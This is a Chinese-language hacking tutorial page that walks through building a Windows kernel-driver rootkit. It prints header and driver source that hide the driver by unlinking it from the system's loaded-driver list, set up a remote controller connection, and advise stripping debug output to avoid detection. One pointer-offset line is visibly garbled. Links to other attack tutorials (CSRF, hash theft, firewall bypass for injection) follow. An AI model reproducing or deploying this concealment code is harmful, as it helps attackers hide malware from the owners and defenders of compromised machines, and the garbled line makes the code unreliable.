建站极客  
                        网络安全                          黑客教程                          正文 
                     
                 
                
                    Rootkit隐形技术教程(图)                 
                
                    所属分类:
                        网络安全  / 黑客教程                      
                    阅读数:
                        126 
                    
                        
                                 
                             收藏 0
                                 
                             赞 0
                                 
                             分享 
                    
                 
                
                    一、综述
 
 本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
 
 本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。
 
 二、rootkit主体
 
 本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。
 
 我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:
 
 //Invisible.h:我们rootkit的头文件
 #ifndef _INVISIBLE_H_
 #define _INVISIBLE_H_
 
 typedef BOOLEAN BOOL;
 typedef unsigned long DWORD;
 typedef DWORD* PDWORD;
 typedef unsigned long ULONG;
 typedef unsigned short WORD;
 typedef unsigned char BYTE;
 
 typedef struct _DRIVER_DATA
 {
  LIST_ENTRY listEntry;
  DWORD  unknown1;
  DWORD  unknown2;
  DWORD  unknown3;
  DWORD  unknown4;
  DWORD  unknown5;
  DWORD  unknown6;
  DWORD  unknown7;
  UNICODE_STRING path;
  UNICODE_STRING name;
 } DRIVER_DATA;
 
 #endif
 
 
  
 
 我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
 
 这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
 
 上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:
 
 // Invisible
 
 #include "ntddk.h"
 #include "Invisible.h"
 #include "fileManager.h"
 #include "configManager.h"
 
 // 全局变量
 ULONG majorVersion;
 ULONG minorVersion;
 
 //当进行free build时,将其注释掉,以防被检测到
 VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
 {
  DbgPrint("comint16: OnUnload called.");
 }
 
 
 NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
 theRegistryPath )
 {
  DRIVER_DATA* driverData;
 
  //取得操作系统的版本
  PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
 
  // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
  // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
  // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
  // Minor = 1: Windows XP
  // Minor = 2: Windows Server 2003
 
  if ( majorVersion == 5 && minorVersion == 2 )
  {
   DbgPrint("comint16: Running on Windows 2003");
  }
  else if ( majorVersion == 5 && minorVersion == 1 )
  {
   DbgPrint("comint16: Running on Windows XP");
  }
  else if ( majorVersion == 5 && minorVersion == 0 )
  {
   DbgPrint("comint16: Running on Windows 2000");
  }
  else if ( majorVersion == 4 && minorVersion == 0 )
  {
 
   DbgPrint("comint16: Running on Windows NT 4.0");
  }
  else
  {
   DbgPrint("comint16: Running on unknown system");
  }
 
  // 隐藏该驱动程序
  driverData = *((DRIVER_DATA**)((DWORD)pDriverObject   20));
  if( driverData != NULL )
  {
   // 将本驱动程序的相应目录项从项驱动程序目录中拆下来
  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
   driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
  }
 
 // 允许卸载本驱动程序
 
  pDriverObject->DriverUnload = OnUnload;
 
  // 为本Rootkit的控制器配置连接
  if( !NT_SUCCESS( Configure() ) )
  {
   DbgPrint("comint16: Could not configure remote connection.\n");
   return STATUS_UNSUCCESSFUL;
  }
 
  return STATUS_SUCCESS;
 }
 
 
  
 
                                     
             
            
                
                CSRF的攻击方式详解 黑客必备知识 CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
抓取管理员hash值(哈希)的另类方法 哈希算法将任意长度的二进制值映射为固定长度的较小二进制值,这个小的二进制值称为哈希值。哈希值是一段数据唯一且极其紧凑的数值表示形式。如果散列一段明文而且哪怕只更改该段落的一个字母,随后的哈希都将产生不同的值。要找到散列为同一个值的两个不同的输入,在计
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
网站安全教程 绕过D盾进行注入的方法(图文教程) D盾_IIS防火墙专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计! 限制了常见的入侵方法,让服务器更安全!
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
局域网安全教程 HSRP攻击和防范的方法介绍(图文教程) 热备份路由器协议(HSRP)的设计目标是支持特定情况下 IP 流量失败转移不会引起混乱、并允许主机使用单路由器,以及即使在实际第一跳路由器使用失败的情形下仍能维护路由器间的连通性。换句话说,当源主机不能动态知道第一跳路由器的 IP 地址时,HSRP 协议能够保护第一
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
SQL通用防注入系统asp版漏洞 今晚群里朋友叫看个站,有sql防注入,绕不过,但是有发现记录wrong的文件sqlin.asp。
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
                 查看更多